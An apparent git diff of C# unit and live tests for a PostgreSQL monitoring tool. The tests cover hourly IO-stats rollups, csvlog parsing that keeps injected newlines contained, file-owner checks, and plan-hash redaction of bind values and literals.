+
+            using var cap = new CancellationTokenSource();
+            var tick = PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance, () => TimeSpan.Zero, cap.Token, ct);
+            var waiting = false;
+            for (var attempt = 0; attempt < 600 && !waiting; attempt++)
+            {
+                waiting = (await RowsAsync(connection, "SELECT count(*) FROM pg_stat_activity WHERE wait_event_type = 'Lock' AND wait_event = 'advisory'"))[0] != "0";
+                if (!waiting)
+                {
+                    await Task.Delay(50, ct);
+                }
+            }
+
+            Assert.True(waiting, "the first build never reached its insert");
+            cap.Cancel();
+            var result = await tick.WaitAsync(TimeSpan.FromSeconds(20), ct);
+            Assert.Equal(new PgIoStatsHourlyBuilder.TickResult(0, 1, 0, 0), result);
+
+            /* The cancelled build rolled back: no rollup row, no state row, and the reader answers from raw. */
+            Assert.Equal("0", (await RowsAsync(connection, "SELECT count(*) FROM collect.pg_io_stats_hourly"))[0]);
+            Assert.Equal("0", (await RowsAsync(connection, "SELECT count(*) FROM collect.pg_io_stats_hourly_state"))[0]);
+            Assert.NotEmpty((await DarlingPgIoReader.GetPgIoPageAsync(dataSource, 1, Now.AddHours(-48), Now, 1000, ct)).Rows);
+
+            /* A cap that has already passed starts no build at all; the caller's own token still ends the tick. */
+            await ExecAsync(connection, "DROP TRIGGER hold_planted_hour ON collect.pg_io_stats_hourly", ct);
+            using var passed = new CancellationTokenSource();
+            passed.Cancel();
+            var late = await PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance, () => TimeSpan.Zero, passed.Token, ct);
+            Assert.Equal(0, late.Built);
+            Assert.Equal(0, late.Failed);
+            Assert.True(late.Deferred > 100);
+            Assert.Equal("0", (await RowsAsync(connection, "SELECT count(*) FROM collect.pg_io_stats_hourly"))[0]);
+            using var stopped = new CancellationTokenSource();
+            stopped.Cancel();
+            await Assert.ThrowsAnyAsync<OperationCanceledException>(
+                () => PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance, () => TimeSpan.Zero, CancellationToken.None, stopped.Token));
+
+            /* The next tick (no cap fired) builds the whole fill. */
+            var resumed = await PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance, () => TimeSpan.Zero, CancellationToken.None, ct);
+            Assert.Equal(0, resumed.Failed);
+            Assert.True(resumed.Built > 100);
+            Assert.Single(await RowsAsync(connection, Fix(PgIoStatsHourly.GuardSql), 1, Unspec(Now.AddHours(-48)), Unspec(Now)));
+        }, build: false);
+    }
+
+    [Fact]
+    public async Task ACombinationWithNullKeyColumns_IsSeededAcrossAGapByTheArrayProbe_AndMatchesRaw()
+    {
+        await RunLiveAsync(async (scratch, connection, dataSource, ct) =>
+        {
+            /* 'bgwriter' has NULL object_type and context (the seed probe must match NULL to NULL): rows at 06:05 and 06:15, then nothing for
+               two hours, then 09:05 and 09:15. The 09:00 hour is seeded from 06:00's last row across the gap. */
+            await ExecAsync(connection,
+                "INSERT INTO collect.pg_io_stats (collection_id, collection_time, server_id, server_name, backend_type, reads, read_time_ms) VALUES "
+                + "(999999980, '2026-03-19 06:05:00', 1, 'srv1', 'bgwriter', 100, 100), (999999981, '2026-03-19 06:15:00', 1, 'srv1', 'bgwriter', 110, 110), "
+                + "(999999982, '2026-03-19 09:05:00', 1, 'srv1', 'bgwriter', 140, 140), (999999983, '2026-03-19 09:15:00', 1, 'srv1', 'bgwriter', 150, 150)", ct);
+            await ExecAsync(connection, "TRUNCATE collect.pg_io_stats_hourly, collect.pg_io_stats_hourly_state", ct);
+            await PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance, ct);
+            Assert.Equal("1", (await RowsAsync(connection, "SELECT count(*) FROM collect.pg_io_stats_hourly WHERE backend_type = 'bgwriter' AND hour_start = '2026-03-19 09:00' AND b_reads = 30"))[0]);
+
+            var start = new DateTime(2026, 3, 19, 5, 30, 0, DateTimeKind.Unspecified);
+            var end = Now.AddMinutes(-2);
+            var raw = await RowsAsync(connection, DarlingPgIoReader.PgIoSql, 1, Unspec(start), Unspec(end), 1000);
+            var span = await RowsAsync(connection, Fix(PgIoStatsHourly.GuardSql), 1, Unspec(start), Unspec(end));
+            Assert.Single(span);
+            var parts = span[0].Split('|');
+            var stitched = await RowsAsync(connection, Fix(PgIoStatsHourly.StitchedReadSql), 1, Unspec(start), Unspec(end), 1000,
+                DateTime.Parse(parts[0], CultureInfo.InvariantCulture), DateTime.Parse(parts[1], CultureInfo.InvariantCulture));
+            Assert.Contains(raw, r => r.StartsWith("bgwriter|", StringComparison.Ordinal));
+            Assert.Equal(raw, stitched);
+        });
+    }
+
+    [Fact]
+    public async Task AStoreBelowTheRung_HasNoRollupTables_AndTheReaderStillAnswersFromRaw()
+    {
+        await RunLiveAsync(async (scratch, connection, dataSource, ct) =>
+        {
+            await ExecAsync(connection, "DROP TABLE collect.pg_io_stats_hourly; DROP TABLE collect.pg_io_stats_hourly_state", ct);
+            var viaReader = await DarlingPgIoReader.GetPgIoPageAsync(dataSource, 1, Now.AddHours(-48), Now, 1000, ct);
+            Assert.NotEmpty(viaReader.Rows);
+        }, build: false);
+    }
+
+    [Fact]
+    public async Task TheTick_BuildsOnlyClosedHours_IsBoundedByTheTimeBudget_AndIsIdempotent()
+    {
+        await RunLiveAsync(async (scratch, connection, dataSource, ct) =>
+        {
+            Assert.Equal("True", (await RowsAsync(connection, $"SELECT built_through = '{Ts(Now.AddHours(-1))}'::timestamp FROM collect.pg_io_stats_hourly_state WHERE server_id = 1"))[0]);
+            var before = (await RowsAsync(connection, "SELECT count(*), sum(row_count) FROM collect.pg_io_stats_hourly"))[0];
+
+            var again = await PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance, ct);
+            Assert.Equal(PgIoStatsHourlyBuilder.RebuildHours, again.Built);
+            Assert.Equal(before, (await RowsAsync(connection, "SELECT count(*), sum(row_count) FROM collect.pg_io_stats_hourly"))[0]);
+
+            /* The bound is time: a clock that reads past the budget after five builds stops the tick there, and the next tick
+               (a clock that never runs out) resumes from the watermark and ends with the same rows as the unbounded fill. */
+            await ExecAsync(connection, "TRUNCATE collect.pg_io_stats_hourly, collect.pg_io_stats_hourly_state", ct);
+            var reads = 0;
+            var capped = await PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance,
+                () => reads++ < 5 ? TimeSpan.Zero : PgIoStatsHourlyBuilder.TickBudget, ct);
+            Assert.Equal(5, capped.Built);
+            Assert.True(capped.Deferred > 100);
+
+            var resumed = await PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance, () => TimeSpan.Zero, ct);
+            Assert.Equal(0, resumed.Deferred);
+            Assert.Equal(before, (await RowsAsync(connection, "SELECT count(*), sum(row_count) FROM collect.pg_io_stats_hourly"))[0]);
+        });
+    }
+
+    [Fact]
+    public async Task ADisabledServersRollupRows_AreRemovedByTheTick_ThroughTheStateTable()
+    {
+        await RunLiveAsync(async (scratch, connection, dataSource, ct) =>
+        {
+            Assert.NotEqual("0", (await RowsAsync(connection, "SELECT count(*) FROM collect.pg_io_stats_hourly WHERE server_id = 1"))[0]);
+            await ExecAsync(connection, "UPDATE collect.servers SET is_enabled = FALSE WHERE server_id = 1", ct);
+
+            await PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance, ct);
+            Assert.Equal("0", (await RowsAsync(connection, "SELECT count(*) FROM collect.pg_io_stats_hourly"))[0]);
+            Assert.Equal("0", (await RowsAsync(connection, "SELECT count(*) FROM collect.pg_io_stats_hourly_state"))[0]);
+        });
+    }
+
+    [Fact]
+    public async Task ACombinationAbsentForSeveralHours_IsSeededFromItsLastRollupRowBeforeTheGap()
+    {
+        await RunLiveAsync(async (scratch, connection, dataSource, ct) =>
+        {
+            /* 'startup' has rows from 06:00 on the 19th only; take its 07:00-09:00 rows away so it reappears at 09:00 after a gap
+               of two hours, then rebuild everything: the 09:00 hour must be seeded from 06:00's last row, not from the hour before. */
+            await ExecAsync(connection, "DELETE FROM collect.pg_io_stats WHERE backend_type = 'startup' AND collection_time >= '2026-03-19 07:00' AND collection_time < '2026-03-19 09:00'", ct);
+            await ExecAsync(connection, "TRUNCATE collect.pg_io_stats_hourly, collect.pg_io_stats_hourly_state", ct);
+            await PgIoStatsHourlyBuilder.RunTickAsync(dataSource, Now, NullLogger.Instance, ct);
+
+            var start = new DateTime(2026, 3, 19, 5, 30, 0, DateTimeKind.Unspecified);
+            var end = Now.AddMinutes(-2);
+            var raw = await RowsAsync(connection, DarlingPgIoReader.PgIoSql, 1, Unspec(start), Unspec(end), 1000);
+            var span = await RowsAsync(connection, Fix(PgIoStatsHourly.GuardSql), 1, Unspec(start), Unspec(end));
+            Assert.Single(span);
+            var parts = span[0].Split('|');
+            var stitched = await RowsAsync(connection, Fix(PgIoStatsHourly.StitchedReadSql), 1, Unspec(start), Unspec(end), 1000,
+                DateTime.Parse(parts[0], CultureInfo.InvariantCulture), DateTime.Parse(parts[1], CultureInfo.InvariantCulture));
+            Assert.Contains(raw, r => r.StartsWith("startup|", StringComparison.Ordinal));
+            Assert.Equal(raw, stitched);
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/PgLogEventsCsvlogLiveTests.cs b/Darling/Darling.Tests/PgLogEventsCsvlogLiveTests.cs
index 22d4da7775..85b3110721 100644
--- a/Darling/Darling.Tests/PgLogEventsCsvlogLiveTests.cs
+++ b/Darling/Darling.Tests/PgLogEventsCsvlogLiveTests.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.IO;
 using System.Linq;
 using System.Net.Sockets;
@@ -85,41 +86,30 @@ public async Task TheCsvlogRoute_KeepsAPlantedNewlineInsideItsOwnField_AndNeverF
         {
             await DarlingMcpTestData.RegisterServerAsync(storeConnection, ServerId, ServerName, ct);
 
-            await SendForgedLoginAsync(target!, ForgedCsvUserName, ct);
-            await SendForgedLoginAsync(target!, ForgedStderrUserName, ct);
-
             await using var targetConnection = new NpgsqlConnection(target);
             await targetConnection.OpenAsync(ct);
 
-            await WaitForLogGrowthAsync(targetConnection, ct);
+            /* This run's own entries are the ones at or after this floor: a target reused across runs (or a retry)
+               already holds earlier runs' identical forged FATAL events, so a count over the whole log says nothing
+               about whether THIS run's two reached the file. */
+            await using var clockCommand = new NpgsqlCommand("SELECT clock_timestamp()", targetConnection);
+            var floor = (DateTime)(await clockCommand.ExecuteScalarAsync(ct))!;
+
+            await SendForgedLoginAsync(target!, ForgedCsvUserName, ct);
+            await SendForgedLoginAsync(target!, ForgedStderrUserName, ct);
+
+            await WaitForBothForgedEventsAsync(targetConnection, floor, ct);
 
             var usesCsvlog = await PgLogFormatCapability.IsCsvlogEnabledAsync(targetConnection, target!, ct);
             Assert.True(usesCsvlog, "the rig's log_destination must include csvlog for this route to be exercised.");
 
             foreach (var binaryGranted in new[] { false, true })
             {
-                var context = new CollectorContext
-                {
-                    LogHashKey = TestLogHashKeys.Fixed,
-                    ServerId = ServerId, ServerName = ServerName,
-                    CollectionTime = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified),
-                    Deltas = new CollectorDeltaCalculator(),
-                    Target = new CollectorTargetInfo { Engine = CollectorTargetEngine.PostgreSql },
-                    PgLogUsesCsvlog = true,
-                    PgReadBinaryFileGranted = binaryGranted,
-                };
-
-                var definition = PgLogEventsCollector.Instance;
-                await using var command = PostgresTargetProvider.Instance.CreateCommand(definition.BuildQuery(context), targetConnection, 30);
-                await using var reader = await command.ExecuteReaderAsync(ct);
-                var rows = await definition.ReadAsync(reader, context, ct);
+                var rows = await ReadRowsAsync(targetConnection, binaryGranted, ct);
 
                 /* The forged text lands INSIDE the two real FATAL auth-failure events' own message text —
                    the record each was planted into — never as a separate line of its own. */
-                var fatalCount = rows.Count(r =>
-                    r.Severity == "FATAL"
-                    && r.Message != null
-                    && r.Message.Contains("forged", StringComparison.Ordinal));
+                var fatalCount = rows.Count(r => IsForgedFatal(r, floor));
                 Assert.True(fatalCount >= 2,
                     $"expected at least the two forged FATAL events this run planted; got {fatalCount}.");
 
@@ -195,31 +185,48 @@ private static void WriteBigEndianInt32(byte[] buffer, int offset, int value)
         buffer[offset + 3] = (byte)value;
     }
 
-    /// <summary>
-    /// Polls <c>pg_ls_logdir()</c> for a <c>.csv</c> file whose size has grown since the call started, up to
-    /// 5 seconds — the syslogger flushes asynchronously, so the forged lines are not guaranteed to be on disk
-    /// the instant the TCP round trip above returns.
-    /// </summary>
-    private static async Task WaitForLogGrowthAsync(NpgsqlConnection connection, CancellationToken ct)
+    /// <summary>One of this run's planted FATAL auth failures: at or after the floor, severity FATAL, carrying the forged text.</summary>
+    private static bool IsForgedFatal(PgLogEvent row, DateTime floor) =>
+        row.OccurredAtUtc >= floor
+        && row.Severity == "FATAL"
+        && row.Message != null
+        && row.Message.Contains("forged", StringComparison.Ordinal);
+
+    private static async Task<List<PgLogEvent>> ReadRowsAsync(NpgsqlConnection targetConnection, bool binaryGranted, CancellationToken ct)
     {
-        long before = 0;
-        await using (var command = new NpgsqlCommand(
-            "SELECT coalesce(max(size), 0) FROM pg_catalog.pg_ls_logdir() WHERE name ~* '\\.csv$'", connection))
+        var context = new CollectorContext
         {
-            before = (long)(await command.ExecuteScalarAsync(ct))!;
-        }
+            LogHashKey = TestLogHashKeys.Fixed,
+            ServerId = ServerId, ServerName = ServerName,
+            CollectionTime = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified),
+            Deltas = new CollectorDeltaCalculator(),
+            Target = new CollectorTargetInfo { Engine = CollectorTargetEngine.PostgreSql },
+            PgLogUsesCsvlog = true,
+            PgReadBinaryFileGranted = binaryGranted,
+        };
+
+        var definition = PgLogEventsCollector.Instance;
+        await using var command = PostgresTargetProvider.Instance.CreateCommand(definition.BuildQuery(context), targetConnection, 30);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        return await definition.ReadAsync(reader, context, ct);
+    }
 
-        var deadline = DateTime.UtcNow.AddSeconds(5);
+    /// <summary>
+    /// Reads the log until both of THIS run's planted FATAL entries (at or after <paramref name="floor"/>) are readable,
+    /// up to 30 seconds — the syslogger flushes asynchronously, so the planted lines are not guaranteed to be on disk
+    /// the instant the TCP round trip returns. The wait used to look only for the csv file growing, which one of the
+    /// two entries satisfied, so the read could run with the second still unwritten ("expected at least two forged FATAL
+    /// events; got 0"). It returns when the deadline passes too, and the assertions then report what was readable.
+    /// </summary>
+    private static async Task WaitForBothForgedEventsAsync(NpgsqlConnection targetConnection, DateTime floor, CancellationToken ct)
+    {
+        var deadline = DateTime.UtcNow.AddSeconds(30);
         while (DateTime.UtcNow < deadline)
         {
-            await using (var command = new NpgsqlCommand(
-                "SELECT coalesce(max(size), 0) FROM pg_catalog.pg_ls_logdir() WHERE name ~* '\\.csv$'", connection))
+            var rows = await ReadRowsAsync(targetConnection, false, ct);
+            if (rows.Count(r => IsForgedFatal(r, floor)) >= 2)
             {
-                var after = (long)(await command.ExecuteScalarAsync(ct))!;
-                if (after > before)
-                {
-                    return;
-                }
+                return;
             }
 
             await Task.Delay(200, ct);
diff --git a/Darling/Darling.Tests/PgLogEventsPipelineTests.cs b/Darling/Darling.Tests/PgLogEventsPipelineTests.cs
index 9aaac9d472..d1cb9f1cbd 100644
--- a/Darling/Darling.Tests/PgLogEventsPipelineTests.cs
+++ b/Darling/Darling.Tests/PgLogEventsPipelineTests.cs
@@ -38,6 +38,7 @@ namespace Darling.Tests;
 /// (its own fixtures are the source of the <c>%Q</c>-glued query id and the managed <c>%t:%r:%u@%d:[%p]:</c>
 /// prefix). Identifiers are synthesised; shapes are verbatim.</para>
 /// </summary>
+[Collection("timing")]
 public sealed class PgLogEventsPipelineTests
 {
     /* ---- fixtures ------------------------------------------------------------------------------------ */
diff --git a/Darling/Darling.Tests/PgLogHashKeyTests.cs b/Darling/Darling.Tests/PgLogHashKeyTests.cs
index f40a04534d..452255bc1e 100644
--- a/Darling/Darling.Tests/PgLogHashKeyTests.cs
+++ b/Darling/Darling.Tests/PgLogHashKeyTests.cs
@@ -54,6 +54,17 @@ public void CreateOwnerOnly(string directory)
 
     public void Set(string directory, UnixFileMode mode) => _modes[Key(directory)] = mode;
 
+    private readonly Dictionary<string, UnixFileOwner> _owners = new(StringComparer.OrdinalIgnoreCase);
+
+    /// <summary>The user id the stand-in reports the service as running under (#5366).</summary>
+    public uint EffectiveUserId { get; set; } = 1000;
+
+    /// <summary>Reports <paramref name="path"/> as owned by <paramref name="userId"/> with <paramref name="links"/> names
+    /// (#5366). A path never reported has no owner to check, as on a platform whose stat layout is not known.</summary>
+    public void ReportOwner(string path, uint userId, ulong links = 1) => _owners[Key(path)] = new UnixFileOwner(userId, links);
+
+    public UnixFileOwner? OwnerOf(string path) => _owners.TryGetValue(Key(path), out var owner) ? owner : null;
+
     /// <summary>A file someone else wrote that the file check trusts, which is the point: owner-only on Unix (a 0600
     /// file whose owner managed code cannot see), and the temp directory's inherited ACL on Windows.</summary>
     public static void WriteOwnerOnly(string path, string text)
diff --git a/Darling/Darling.Tests/PgPlanLogParserQueryIdPrefixTests.cs b/Darling/Darling.Tests/PgPlanLogParserQueryIdPrefixTests.cs
index d272672e6b..0307d31ce8 100644
--- a/Darling/Darling.Tests/PgPlanLogParserQueryIdPrefixTests.cs
+++ b/Darling/Darling.Tests/PgPlanLogParserQueryIdPrefixTests.cs
@@ -6,6 +6,7 @@
  * Licensed under the MIT License. See LICENSE file in the project root for full license information.
  */
 
+using System;
 using PerformanceMonitor.Collectors;
 using Xunit;
 
@@ -73,6 +74,63 @@ public void ANullPrefix_KeepsTodaysBehaviour_AndReadsTheDigits()
         Assert.Equal(987654321, plan.QueryId);
     }
 
+    /* PostgreSQL 16+ auto_explain writes the bind values at the root, beside Query Text (#5103). */
+    private static string PlanWithParameters(string parameters) =>
+        "{\n  \"Query Text\": \"SELECT 1\",\n  \"Query Parameters\": \"" + parameters + "\",\n"
+        + "  \"Plan\": {\n    \"Node Type\": \"Seq Scan\",\n    \"Relation Name\": \"t\"\n  }\n}";
+
+    /// <summary>
+    /// #5103: two blocks that differ ONLY in their root-level <c>Query Parameters</c> are one plan shape, so they
+    /// hash alike, and neither value reaches the redacted JSON.
+    /// </summary>
+    [Fact]
+    public void QueryParameters_AreRemoved_AndDoNotSplitThePlanHash()
+    {
+        var first = PgPlanLogParser.FromBlock(1, 1, PlanWithParameters("$1 = '''BindLeakAlpha5103'''"));
+        var second = PgPlanLogParser.FromBlock(1, 1, PlanWithParameters("$1 = '''BindLeakBeta5103'''"));
+
+        Assert.NotNull(first);
+        Assert.NotNull(second);
+        Assert.Equal(first!.Value.PlanHash, second!.Value.PlanHash);
+        Assert.Equal(first.Value.PlanJson, second.Value.PlanJson);
+        foreach (var json in new[] { first.Value.PlanJson, second.Value.PlanJson })
+        {
+            Assert.DoesNotContain("BindLeakAlpha5103", json, StringComparison.Ordinal);
+            Assert.DoesNotContain("BindLeakBeta5103", json, StringComparison.Ordinal);
+            Assert.DoesNotContain("Query Parameters", json, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>Numbers in a run condition, an index ORDER BY and a table-function call are literals too: none reaches
+    /// the stored JSON.</summary>
+    [Theory]
+    [InlineData("Run Condition", "(row_number() OVER (?) <= 918273)")]
+    [InlineData("Order By", "(t.location <-> 918273)")]
+    [InlineData("Table Function Call", "generate_series(1, 918273)")]
+    public void ANumberInAConditionLikeField_IsMasked(string field, string value)
+    {
+        var block = "{\n  \"Plan\": {\n    \"Node Type\": \"Seq Scan\",\n    \"" + field + "\": \"" + value + "\"\n  }\n}";
+
+        var parsed = PgPlanLogParser.FromBlock(1, 1, block);
+
+        Assert.NotNull(parsed);
+        Assert.DoesNotContain("918273", parsed!.Value.PlanJson, StringComparison.Ordinal);
+        Assert.Contains(field, parsed.Value.PlanJson, StringComparison.Ordinal);
+    }
+
+    /// <summary>A block with no <c>Query Parameters</c> (PostgreSQL 15 and earlier, or
+    /// <c>log_parameter_max_length = 0</c>) hashes as it did before #5103: the fixture's hash is pinned, and the
+    /// same block with the key added hashes the same.</summary>
+    [Fact]
+    public void ABlockWithoutQueryParameters_KeepsItsPreviousHash()
+    {
+        var plain = PgPlanLogParser.FromBlock(1, 1, PlanJson);
+
+        Assert.NotNull(plain);
+        Assert.Equal("D1C094935D8544AC2B7522473D03B0F7", plain!.Value.PlanHash);
+        Assert.Equal(plain.Value.PlanHash, PgPlanLogParser.FromBlock(1, 1, PlanWithParameters("$1 = '1'"))!.Value.PlanHash);
+    }
+
     /// <summary>Direct pin on the decision helper itself, for the three shapes above plus the other two
     /// client-controlled fields (#4501's <c>%u</c>/<c>%d</c>) and a prefix with no <c>%p</c> at all.</summary>
     [Theory]
diff --git a/Darling/Darling.Tests/PgPlanShapeHashTests.cs b/Darling/Darling.Tests/PgPlanShapeHashTests.cs
new file mode 100644
index 0000000000..f7db0b1af7
--- /dev/null
+++ b/Darling/Darling.Tests/PgPlanShapeHashTests.cs
@@ -0,0 +1,277 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.Json.Nodes;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Collectors;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5114: <see cref="PgPlanLogParser.ParsedPlan.PlanHash"/> covers the plan's SHAPE, not its estimates. Two captures
+/// of one plan that differ only in costs, row estimates, runtime counters, buffers, settings or JIT are one hash
+/// (and keep their own stored JSON); a change to a node type, a join order, a join method, an index or the parallel
+/// awareness is a different hash, and so is a key this parser has never heard of (a denylist over-splits, which is
+/// the safe direction).
+/// </summary>
+public sealed class PgPlanShapeHashTests
+{
+    /// <summary>An Aggregate over an Index Scan, the tree of the real auto_explain fixture, with the estimates as
+    /// parameters.</summary>
+    private static JsonObject AggregateOverIndexScan(double totalCost = 7.59, long planRows = 1)
+    {
+        return JsonNode.Parse($$"""
+            {
+              "Plan": {
+                "Node Type": "Aggregate", "Strategy": "Plain", "Partial Mode": "Simple",
+                "Parallel Aware": false, "Async Capable": false,
+                "Startup Cost": 7.58, "Total Cost": {{totalCost.ToString(System.Globalization.CultureInfo.InvariantCulture)}},
+                "Plan Rows": {{planRows}}, "Plan Width": 8,
+                "Plans": [
+                  {
+                    "Node Type": "Index Scan", "Parent Relationship": "Outer",
+                    "Parallel Aware": false, "Async Capable": false, "Scan Direction": "Forward",
+                    "Index Name": "t13_status", "Relation Name": "t13", "Alias": "t13",
+                    "Startup Cost": 0.29, "Total Cost": {{totalCost.ToString(System.Globalization.CultureInfo.InvariantCulture)}},
+                    "Plan Rows": {{planRows}}, "Plan Width": 0,
+                    "Index Cond": "(status = 'ACME Holdings Ltd'::text)",
+                    "Filter": "(amount > 4321.55)"
+                  }
+                ]
+              },
+              "Query Identifier": 4242
+            }
+            """)!.AsObject();
+    }
+
+    private static PgPlanLogParser.ParsedPlan Parse(JsonObject block)
+    {
+        var parsed = PgPlanLogParser.FromBlock(1, 1, block.ToJsonString());
+        Assert.NotNull(parsed);
+        return parsed!.Value;
+    }
+
+    private static JsonObject ChildOf(JsonObject root) =>
+        root["Plan"]!["Plans"]![0]!.AsObject();
+
+    [Fact]
+    public void TwoBlocksDifferingOnlyInCosts_HashTheSame_AndKeepTheirOwnEstimates()
+    {
+        var first = Parse(AggregateOverIndexScan(totalCost: 7.59, planRows: 1));
+        var second = Parse(AggregateOverIndexScan(totalCost: 91234.5, planRows: 880000));
+
+        Assert.Equal(first.PlanHash, second.PlanHash);
+        Assert.NotEqual(first.PlanJson, second.PlanJson);
+        Assert.Contains("\"Total Cost\":7.59", first.PlanJson, StringComparison.Ordinal);
+        Assert.Contains("\"Total Cost\":91234.5", second.PlanJson, StringComparison.Ordinal);
+        Assert.Contains("\"Plan Rows\":880000", second.PlanJson, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void SettingsJitAndTimings_DoNotSplitTheHash()
+    {
+        var plain = Parse(AggregateOverIndexScan());
+
+        var noisy = AggregateOverIndexScan();
+        noisy["Settings"] = JsonNode.Parse("""{"work_mem": "64MB", "random_page_cost": "1.1"}""");
+        noisy["JIT"] = JsonNode.Parse("""{"Functions": 3, "Options": {"Inlining": false}, "Timing": {"Total": 4.2}}""");
+        noisy["Planning Time"] = 0.123;
+        noisy["Execution Time"] = 45.6;
+        noisy["Planning"] = JsonNode.Parse("""{"Shared Hit Blocks": 12}""");
+        noisy["Triggers"] = JsonNode.Parse("""[{"Trigger Name": "trg", "Relation": "t13", "Time": 0.2, "Calls": 1}]""");
+
+        var withNoise = Parse(noisy);
+
+        Assert.Equal(plain.PlanHash, withNoise.PlanHash);
+        Assert.Contains("\"JIT\"", withNoise.PlanJson, StringComparison.Ordinal);
+        Assert.Contains("\"Settings\"", withNoise.PlanJson, StringComparison.Ordinal);
+    }
+
+    /// <summary>One representative key per pattern family, placed on a CHILD node to prove the walk recurses.</summary>
+    [Theory]
+    [InlineData("Actual Rows", "12")]
+    [InlineData("Actual Loops", "3")]
+    [InlineData("Actual Total Time", "1.5")]
+    [InlineData("Rows Removed by Filter", "9000")]
+    [InlineData("Shared Hit Blocks", "44")]
+    [InlineData("Temp Written Blocks", "7")]
+    [InlineData("I/O Read Time", "0.5")]
+    [InlineData("Shared I/O Read Time", "0.25")]
+    [InlineData("WAL Bytes", "8192")]
+    [InlineData("Sort Method", "\"quicksort\"")]
+    [InlineData("Hash Batches", "4")]
+    [InlineData("Workers Launched", "2")]
+    [InlineData("Workers", "[{\"Worker Number\": 0, \"Actual Rows\": 5}]")]
+    [InlineData("Heap Fetches", "17")]
+    [InlineData("Cache Hits", "100")]
+    [InlineData("Index Searches", "3")]
+    [InlineData("WAL Buffers Full", "5")]
+    [InlineData("Estimated Capacity", "1024")]
+    public void LogAnalyzeCounters_DoNotSplitTheHash(string key, string valueJson)
+    {
+        var plain = Parse(AggregateOverIndexScan());
+
+        var counted = AggregateOverIndexScan();
+        ChildOf(counted)[key] = JsonNode.Parse(valueJson);
+
+        Assert.Equal(plain.PlanHash, Parse(counted).PlanHash);
+    }
+
+    [Fact]
+    public void ADifferentNodeType_HashesDifferently()
+    {
+        var indexScan = Parse(AggregateOverIndexScan());
+
+        var seqScan = AggregateOverIndexScan();
+        var child = ChildOf(seqScan);
+        child["Node Type"] = "Seq Scan";
+        child.Remove("Index Name");
+        child.Remove("Scan Direction");
+
+        Assert.NotEqual(indexScan.PlanHash, Parse(seqScan).PlanHash);
+    }
+
+    private static JsonObject HashJoinOver(string outer, string inner)
+    {
+        return JsonNode.Parse($$"""
+            {
+              "Plan": {
+                "Node Type": "Hash Join", "Join Type": "Inner", "Hash Cond": "(a.id = b.id)",
+                "Total Cost": 10.0, "Plan Rows": 5,
+                "Plans": [
+                  { "Node Type": "Seq Scan", "Parent Relationship": "Outer", "Relation Name": "{{outer}}", "Alias": "{{outer}}", "Total Cost": 3.0 },
+                  { "Node Type": "Hash", "Parent Relationship": "Inner", "Total Cost": 4.0,
+                    "Plans": [ { "Node Type": "Seq Scan", "Parent Relationship": "Outer", "Relation Name": "{{inner}}", "Alias": "{{inner}}", "Total Cost": 2.0 } ] }
+                ]
+              }
+            }
+            """)!.AsObject();
+    }
+
+    [Fact]
+    public void ADifferentJoinOrder_HashesDifferently()
+    {
+        Assert.NotEqual(Parse(HashJoinOver("a", "b")).PlanHash, Parse(HashJoinOver("b", "a")).PlanHash);
+    }
+
+    [Fact]
+    public void ADifferentJoinMethodOrIndex_HashesDifferently()
+    {
+        var hashJoin = Parse(HashJoinOver("a", "b"));
+
+        var nested = HashJoinOver("a", "b");
+        nested["Plan"]!["Node Type"] = "Nested Loop";
+        Assert.NotEqual(hashJoin.PlanHash, Parse(nested).PlanHash);
+
+        var x = AggregateOverIndexScan();
+        var y = AggregateOverIndexScan();
+        ChildOf(y)["Index Name"] = "t13_other";
+        Assert.NotEqual(Parse(x).PlanHash, Parse(y).PlanHash);
+    }
+
+    [Fact]
+    public void ParallelAwareness_IsShape()
+    {
+        var serial = AggregateOverIndexScan();
+        var parallel = AggregateOverIndexScan();
+        ChildOf(parallel)["Parallel Aware"] = true;
+
+        Assert.NotEqual(Parse(serial).PlanHash, Parse(parallel).PlanHash);
+    }
+
+    private static JsonObject GatherWith(int workersPlanned)
+    {
+        return JsonNode.Parse($$"""
+            {
+              "Plan": {
+                "Node Type": "Gather", "Parallel Aware": false, "Workers Planned": {{workersPlanned}},
+                "Total Cost": 1000.0, "Plan Rows": 100,
+                "Plans": [ { "Node Type": "Seq Scan", "Parent Relationship": "Outer", "Parallel Aware": true, "Relation Name": "big", "Alias": "big", "Total Cost": 900.0 } ]
+              }
+            }
+            """)!.AsObject();
+    }
+
+    /// <summary>The number of workers is a degree the planner derives from relation size and a setting, so it drifts
+    /// like an estimate: Gather over two workers and Gather over four are one hash.</summary>
+    [Fact]
+    public void WorkersPlanned_IsNotShape()
+    {
+        Assert.Equal(Parse(GatherWith(2)).PlanHash, Parse(GatherWith(4)).PlanHash);
+    }
+
+    private static JsonObject DeepPlan(double cost, long rows)
+    {
+        var c = cost.ToString(System.Globalization.CultureInfo.InvariantCulture);
+        return JsonNode.Parse($$"""
+            {
+              "Plan": {
+                "Node Type": "Nested Loop", "Total Cost": {{c}}, "Plan Rows": {{rows}},
+                "Plans": [
+                  {
+                    "Node Type": "Hash Join", "Parent Relationship": "Outer", "Total Cost": {{c}}, "Plan Rows": {{rows}},
+                    "Plans": [
